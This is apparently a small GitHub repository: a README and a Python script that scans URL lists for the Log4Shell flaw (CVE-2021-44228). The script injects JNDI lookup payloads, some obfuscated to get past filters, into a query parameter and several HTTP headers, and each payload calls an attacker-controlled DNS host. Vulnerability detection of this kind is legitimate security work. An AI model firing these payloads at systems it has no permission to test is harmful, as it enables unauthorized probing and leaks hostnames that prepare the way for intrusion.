├── README.md
└── log4j-detect.py
/README.md:
--------------------------------------------------------------------------------
1 |
2 |
3 | log4j-detect
4 |
5 |
6 | Simple Python 3 script to detect the "Log4j" Java library vulnerability (CVE-2021-44228) for a list of URL with multithreading
7 |
8 | ---
9 |
10 | The script "log4j-detect.py" developed in Python 3 is responsible for detecting whether a list of URLs are vulnerable to CVE-2021-44228.
11 |
12 | To do so, it sends a GET request using threads (higher performance) to each of the URLs in the specified list. The GET request contains a payload that on success returns a DNS request to Burp Collaborator / interactsh. This payload is sent in a test parameter and in the "User-Agent" / "Referer" / "X-Forwarded-For" / "Authentication" headers.
13 | Finally, if a host is vulnerable, an identification number will appear in the subdomain prefix of the Burp Collaborator / interactsh payload and in the output of the script, allowing to know which host has responded via DNS.
14 |
15 | It should be noted that this script only handles DNS detection of the vulnerability and does not test remote command execution.
16 |
17 | ### Downloading log4j-detect.py
18 |
19 | ```sh
20 | wget https://github.com/takito1812/log4j-detect/raw/main/log4j-detect.py
21 | ```
22 |
23 | ### Running log4j-detect.py
24 |
25 | ```sh
26 | python3 log4j-detect.py
27 | ```
28 |
29 | 
30 |
--------------------------------------------------------------------------------
/log4j-detect.py:
--------------------------------------------------------------------------------
1 | import argparse, sys, requests
2 | from urllib3 import disable_warnings
3 | from concurrent.futures import ThreadPoolExecutor
4 |
5 | class customParser(argparse.ArgumentParser):
6 | def error(self, message):
7 | sys.stderr.write('error: %s\n' % message)
8 | self.print_help()
9 | sys.exit(2)
10 | parser = customParser(prog='log4j-detect', description='Python 3 script to detect the Log4j Java library vulnerability (CVE-2021-44228)')
11 | parser.add_argument('u', help='Single URL / File with a list of URLs')
12 | parser.add_argument('s', help='Server from Burp Collaborator, interactsh or similar')
13 | parser.add_argument('-t', '--threads', help='Number of threads', type=int, default=15)
14 | parser.add_argument('-p', '--proxy', help='Send traffic through a proxy (by default, Burp)', nargs='?', default=None, const='http://127.0.0.1:8080')
15 | args = parser.parse_args()
16 |
17 | def sendRequest(url, urlId):
18 | try:
19 | payload1 = '${jndi:ldap://' + str(urlId) + '.${hostName}.' + args.s + '/a}'
20 | payload2 = '${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://' + str(urlId) + '.${hostName}.' + args.s + '}'
21 | payload3 = '${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://' + str(urlId) + '.${hostName}.' + args.s + '}'
22 | params = {'x':payload1}
23 | headers = {'User-Agent':payload2, 'Referer':payload3, 'X-Forwarded-For':payload3, 'Authentication':payload3}
24 | r = requests.get(url, headers=headers, params=params, verify=False, proxies=proxies, timeout=10)
25 | print('[{}] {} ({})'.format(urlId, url, r.status_code))
26 | except Exception as e:
27 | print('[{}] Error while testing {}:'.format(urlId, url))
28 | print(e)
29 | pass
30 |
31 | disable_warnings()
32 | if args.proxy is None:
33 | proxies = {}
34 | else:
35 | proxies = {'http':args.proxy, 'https':args.proxy}
36 | urlId = 0
37 | try:
38 | with open(args.u) as urlFile:
39 | urlList = (line.strip() for line in urlFile)
40 | urlList = list(line for line in urlList if line)
41 | urlList = list(dict.fromkeys(urlList))
42 | urlLength = len(urlList)
43 | if urlLength > 1:
44 | print('[!] {} URLs loaded'.format(urlLength))
45 | except:
46 | urlList = [args.u]
47 | with ThreadPoolExecutor(max_workers=args.threads) as executor:
48 | for url in urlList:
49 | urlId += 1
50 | executor.submit(sendRequest, url, urlId)
51 |
--------------------------------------------------------------------------------